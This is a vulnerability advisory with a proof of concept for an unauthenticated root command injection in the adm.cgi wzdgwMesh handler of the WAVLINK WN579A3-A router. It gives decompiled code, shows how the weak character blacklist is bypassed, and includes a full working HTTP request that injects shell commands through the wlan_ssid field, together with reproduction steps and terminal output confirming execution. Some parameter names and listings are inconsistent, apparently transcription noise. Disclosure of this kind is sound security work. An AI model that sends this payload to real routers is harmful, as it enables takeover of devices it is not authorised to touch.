

WAVLINK WN579A3-A firmware build 2026-03-10 (94f93d4): Unauthenticated command injection vulnerability in adm.cgi wzdgwMesh via wlan_ssid leading to root RCE

TARGET

- Device: WAVLINK WN579A3-A Router (MT7628)
- Firmware version : WINSTAR_WN579A3-A-2026-03-10-94f93d4

BUG TYPE

Command Execution Vulnerability

Severity

- **CVSS v3.1:** 9.8 (Critical) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- **CWE:** CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- **Attack Vector:** Network (no authentication, no user interaction)
- **Privileges Required:** None (reachable without authentication in the initial setup wizard state)

Affected Environment

- SoC: MediaTek MT7628 (MIPS 24Kc, OpenWrt ramips)
- OS: OpenWrt Chaos Calmer 15.05.1, kernel 3.10.108
- Web: LuCI git-22.308.13369-94f93d4 / lighttpd 1.4.45
- CGI: `/cgi-bin/adm.cgi` (chrooted in the rootfs)

Abstract

The WAVLINK WL-WN579A3-A router contains a command injection vulnerability in the `set_wzdgwMesh` function within the `/cgi-bin/adm.cgi` CGI program. This vulnerability specifically occurs during the processing of the `wlan_ssid` parameter. Due to insufficient input validation and inadequate filtering of user-controllable parameters, attackers can inject system commands into the `wlan_ssid` parameter through specially crafted malicious requests. By exploiting this vulnerability, unauthorized attackers can execute arbitrary system commands as root during the initial setup wizard state (`UserInit=0`), thereby gaining complete control over affected router devices.

Vulnerability Point

```
if ( !strcmp(v11, ntp ) )
{
    sub_405DF0(v9);
}
else if ( v13 )
{
    if ( !strcmp(v11, "wzdgwMesh") || !strcmp(v11, "wzdapMesh") )
    {
        sub_404904((int)v9);
    }
    else if ( !strcmp(v11, "reboot") )
    {
        sub_404970((int)v9);
    }
}
```

When `page=wzdgwMesh`, execution enters `sub_404904`.

```
int __fastcall sub_404904(int a1)
{
    int v2; // $v0
    int v3; // $s3
    int v4; // $v0
    int v5; // $v0
    const char *v6; // $s5
    int v7; // $v0
    char *v8; // $s4
    int v9; // $v0
    char *v10; // $s3
    int v11; // $v0
    int v12; // $v0
```

The function below receives the parameters `wan0T`, `wl_Method`, `wlan_ssid`, etc.

```
v3 = fopen("/dev/console", "w+");
if ( v3 )
{
    fprintf(v3, "%s:%s:%d:RussianPPPoE_flag=%s\n", "adm.c", "set_wzdgwMesh", 824, v83);
    fclose(v3);
}
v81 = 0;
wlink_uci_get_value("winstar", "system", "WiFiBand", &v81, 4);
v4 = sub_4091A4("wan0T", a1, 0);
v6 = (const char *)strdup(v4);
v5 = sub_4091A4("wl_Method", a1, 0);
v8 = (char *)strdup(v5);
v7 = sub_4091A4("wlan_ssid", a1, 0);
v10 = (char *)strdup(v7);
v9 = sub_4091A4("submit-url", a1, 0);
strdup(v9);
v11 = sub_4091A4("submit-url", a1, 0);
v88 = (const char *)strdup(v11);
v12 = sub_4091A4("web_pskValue", a1, 0);
v87 = (char *)strdup(v12);
v13 = sub_4091A4("wl Pass", a1, 0);
```

When the input passes through the blacklist check `sub_40A93C`:

```
61 {
62     fprintf(v65, "%s:%s:%d:pptp_cmd=%s\n\n", "adm.c", "set_wzdgwMesh", 1030, v74);
63     fclose(v65);
64 }
65 }
66 if ( sub_40A93C(v74) == 1 )
67 {
68     result = access("/tmp/web_log", 0);
69     if ( result )
70         return result;
71     result = fopen("/dev/console", "w+");
72     v47 = result;
73     if ( !result )
74         return result;
75 }
```

It only checks for `[ ]` and backticks ```.

```

1 int __fastcall sub_40A93C(char *a1)
2 {
3     char *v2; // $v0
4     char *i; // $a0
5     int v4; // $v1
6
7     v2 = &a1[((int (*)(void))strlen)()];
8     for ( i = a1; ; ++i )
9     {
10         if ( i == v2 )
11             return 0;
12         v4 = *i;
13         if ( v4 == 0x7C )
14             break;
15         if ( v4 == 0x60 )
16             return 1;
17     }
18     return 1;
19 }

```

Execution then continues into the vulnerable sink `system()`:

```

66     if ( sub_40A93C(v74) == 1 )
67     {
68         result = access("/tmp/web_log", 0);
69         if ( result )
70             return result;
71         result = fopen("/dev/console", "w+");
72         v47 = result;
73         if ( !result )
74             return result;
75         v52 = 1032;
76         goto LABEL_111;
77     }
78     wlink_uci_set_value("winstar", "web", "secondWanMode", v85);
79     sub_408610(v74);
80 }
81 LABEL_115:
82     if ( !strcmp(&v81, "D") )
83     {
84         if ( !strcmp(v8, "0") )
85         {
86             sprintf(v75, "set_bss.sh set 1 \"%s\" \"%s\" \"%s\" Admin12345", v10, v8, v86);
87             system(v75);
88             memset(v75, 0, sizeof(v75));
89             sprintf(v75, "set_bss.sh set 5 \"%s\" \"%s\" \"%s\" Admin12345", v10, v8, v86);
90         }

```

Since the blacklist does not filter `;`, `"`, `>`, `#`, etc., an attacker can craft a command injection payload and achieve root RCE.

This requires the device to be in the initial setup wizard state: when `option UserInit` in `/etc/config/winstar` is `0`, unauthenticated RCE is possible.

PoC

```
POST /cgi-bin/adm.cgi HTTP/1.1
```

```
Host: 192.168.10.2
```

```
Content-Length: 224
```

```
Cache-Control: max-age=0
```

```
Upgrade-Insecure-Requests: 1
```

Origin: http://192.168.10.2

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://ap.setup/

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Connection: close

page=wzdgwMesh&wanOT=1&w1_Method=OPEN&wlan_ssid=Z%22%3Becho%20getshell%20%3E%20%2Fcmd.txt%3B%23&EncryptType=NONE&web_pskValue=x

Impact

In the initial setup wizard state (fresh out-of-box or after factory reset, `UserInit=0`, `Popup=1`), an attacker without any authentication or cookie can execute arbitrary commands as **root** on the router.

Reproduction

Prerequisites

1. The device is in the initial setup wizard state: `option UserInit '0'` and `option Popup 1` in `/etc/config/winstar` (true for a fresh/out-of-box device or after factory reset; for an already-initialized device, reset the flag on the device side first — see step 1)
2. The device WLAN band is the factory default `wifiBand 'D'` (a UCI configuration, not a request parameter — the attacker neither needs to nor can specify it)

Reproduction Steps

1. (Required on first reproduction to reset the wizard flag) Run on the device:

```
sed -i "s/option UserInit '.*'/option UserInit '0'/" /etc/config/winstar
cat /etc/config/winstar | grep User
```

The status before and after the reset is shown in the figure below:

```
/ # ls
bin      etc      lib      mnt      proc     root     sys      usr      www
dev      etc_ro  media    overlay  rom     /sbin    tmp      var

/ # cat /etc/config/winstar|grep User
option UserInit '0'
```

Request

```

1 POST /cgi-bin/adm.cgi HTTP/1.1
2 Host: 192.168.10.2
3 Content-Length: 126
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.10.2
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
  p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://ap.setup/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Connection: close
14
15 page=wzdgwMesh&wanOT=1&wL_Method=OPEN&wlan_ssid=
  Z%22%3Becho%20getshell%20%3E%20%2Fcmd.txt%3B%23&EncrypType=NONE&
  web_pskValue=x

```

Response

```

1 HTTP/1.1 500 Internal Server Error
2 Content-Type: text/html
3 Content-Length: 369
4 Connection: close
5 Date: Tue, 04 Aug 2026 12:17:04 GMT
6 Server: lighttpd
7
8 <?xml version="1.0" encoding="iso-8859-1"?>
9 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
10 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
11 <head>
12 <title>
13   500 - Internal Server Error
14 </title>
15 </head>
16 <body>
17 <h1>
18   500 - Internal Server Error
19 </h1>
20 </body>
21 </html>

```

2. Send exploit request without cookies (as described in the previous section, with `wlan_ssid=Z%22%3Becho%20getshell%20%3E%20%2Fcmd.txt%3B%23`, and the Referer header containing `ap.setup` to pass the validation check).

3. Verification: The file `/cmd.txt` appears in the device's root directory, containing the string `getshell`, confirming that the command was executed with root privileges.

Terminal Output:

```

/ # ls
bin      etc      lib      mnt      proc     root     sbin
dev      etc_ro  media    overlay  rom      sbin

/ # ls
bin      etc      lib      mnt      proc     root     sbin
dev      etc_ro  media    overlay  rom      sbin

/ # cat /etc/config/winstar|grep User
option UserInit '0'

/ # ls/etc/config/winstar
/ # ls
bin      dev      etc_ro  media    overlay  rom      root
cmd.txt  etc      lib      mnt      proc     root

/ # cat cmd.txt
getshell
/ #
/ #
/ #
/ #
/ #
/ #
/ #
/ #
/ #

```

Burp Suite Request:

```

1 POST /cgi-bin/adm.cgi HTTP/1.1
2 Host: 192.168.10.2
3 Content-Length: 126
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.10.2
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
  p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://ap.setup/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Connection: close
14
15 page=wzdgwMesh&wanOT=1&wL_Method=OPEN&wlan_ssid=
  Z%22%3Becho%20getshell%20%3E%20%2Fcmd.txt%3B%23&EncrypType=NONE&
  web_pskValue=x

```

Burp Suite Response:

```

1 HTTP/1.1 500 Internal Server Error
2 Content-Type: text/html
3 Content-Length: 369
4 Connection: close
5 Date: Tue, 04 Aug 2026 12:17:04 GMT
6 Server: lighttpd
7
8 <?xml version="1.0" encoding="iso-8859-1"?>
9 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
10 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
11 <head>
12 <title>
13   500 - Internal Server Error
14 </title>
15 </head>
16 <body>
17 <h1>
18   500 - Internal Server Error
19 </h1>
20 </body>
21 </html>

```